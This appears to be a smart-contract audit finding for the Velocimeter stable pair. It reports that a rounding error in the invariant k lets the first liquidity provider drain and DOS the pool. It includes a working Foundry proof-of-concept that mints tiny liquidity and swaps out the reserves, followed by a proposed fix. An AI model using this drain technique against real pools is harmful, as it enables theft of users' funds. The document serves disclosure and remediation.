Howling Champagne Carp

High

# Stable pair pool can be DOS by first liquidity provider

## Summary

The First liquidity provider of a stable pair can DOS the pool with small amount of liquidity.

## Vulnerability Detail

The invariant k of a stable pool is calculated as follows in [#L404-#L411](https://github.com/sherlock-audit/2024-06-velocimeter/blob/main/v4-contracts/contracts/Pair.sol#L404-#L411)

However, the value of _a = (x * y ) / 1e18,  when x*y < 1e18, will equal  0 due to rounding errors. The rounding error could make the invariant k of stable pool to be 0 allowing anyone to steal whatever is left in the pool

The first liquidity provider in the stable pool can DOS the pair by:

1. Minting a small amount of liquidity to the pool
2. Steal whatever is left in the pool
3. Repeat 1, and  2 until they overflow of the total supply.


Here is the POC of the exploit;

```diff

function testExploitPairWithSmallLiquidity() public {
    deployCoins();
    mintStables();
    deployPairFactoryAndRouter();
    
    // Create a new address to act as the governor
    address governor = address(0x1234);

    // Set up the voter
    vm.prank(factory.deployer());
    factory.setVoter(address(this));
    
    // Mock the voter's governor function to return our new governor address
    vm.mockCall(
        address(this),
        abi.encodeWithSignature("governor()"),
        abi.encode(governor)
    );
    
    // Use startPrank to set both msg.sender and tx.origin
    vm.startPrank(governor, governor);
    
    // Create the pair
    Pair pair = Pair(factory.createPair(address(DAI), address(FRAX), true));
    
    // Stop the prank
    vm.stopPrank();

    // Mint more tokens to this contract
    deal(address(DAI), address(this), 1e25);
    deal(address(FRAX), address(this), 1e25);

    for(uint i = 0; i < 10; i++) {
        DAI.transfer(address(pair), 10_000_000);
        FRAX.transfer(address(pair), 10_000_000);
        uint liquidity = pair.mint(address(this));
        console2.log("pair:", address(pair), "liquidity:", liquidity);
        console2.log("total liq:", pair.balanceOf(address(this)));
        exploitPairWithSmallLiquidity(pair, FRAX.balanceOf(address(pair)), DAI.balanceOf(address(pair)));
        console2.log("DAI balance:", DAI.balanceOf(address(pair)));
        console2.log("FRAX balance:", FRAX.balanceOf(address(pair)));
        assertEq(DAI.balanceOf(address(pair)), 1, "should drain DAI balance");
        console.log("assertion of DAI passes");
        assertEq(FRAX.balanceOf(address(pair)), 2, "should drain FRAX balance");
        console.log("assertion of FRAX passes");
    }
    
    DAI.transfer(address(pair), 1 ether);
    FRAX.transfer(address(pair), 1 ether);
    vm.expectRevert();
    pair.mint(address(this));
}

function exploitPairWithSmallLiquidity(Pair pair, uint initialFraxAmount, uint initialDaiAmount) internal {
    DAI.transfer(address(pair), 1);
    
    uint amount0;
    uint amount1;

    if (address(DAI) < address(FRAX)) {
        amount0 = 0;
        amount1 = initialFraxAmount - 1;
    } else {
        amount1 = 0;
        amount0 = initialFraxAmount - 1;
    }
    pair.swap(amount0, amount1, address(this), new bytes(0));
    
    FRAX.transfer(address(pair), 1);
    if (address(DAI) < address(FRAX)) {
        amount0 = initialDaiAmount; // initialDaiAmount + 1 - 1
        amount1 = 0;
    } else {
        amount1 = initialDaiAmount; // initialDaiAmount + 1 - 1
        amount0 = 0;
    }
    pair.swap(amount0, amount1, address(this), new bytes(0));
}

```


## Impact

The first liquidity provider in the stable pool can DOS the pair due to rounding error and steal whatever is left

## Code Snippet

https://github.com/sherlock-audit/2024-06-velocimeter/blob/main/v4-contracts/contracts/Pair.sol#L403

https://github.com/sherlock-audit/2024-06-velocimeter/blob/main/v4-contracts/contracts/Pair.sol#L259

## Tool used

Manual Review

## Recommendation

To fix the issues of first LP of stable pairs

1. Set a higher MINIMUM_LIQUIDITY (10e9)
2. Make the invariant k greater than the set MINIMUM_LIQUIDITY
3. Only allow equal amount of liquidity


` uint internal constant MINIMUM_LIQUIDITY = 10**9;`

```diff

function mint(address to) external lock returns (uint liquidity) {
//...
if (_totalSupply == 0) {
liquidity = Math.sqrt(_amount0 * _amount1) - MINIMUM_LIQUIDITY;
_mint(address(0), MINIMUM_LIQUIDITY);  // permanently lock the first MINIMUM_LIQUIDITY tokens

+ if (stable) {
+ require(_k(_amount0, _amount1) > MINIMUM_LIQUIDITY, "Stable pair must be above MINIMUM_LIQUIDITY");
+ require(_amount0 * 1e18 / decimals0 == _amount1 * 1e18 / decimals1, "Stable pair must be equal amounts");
+ }
}
//...

```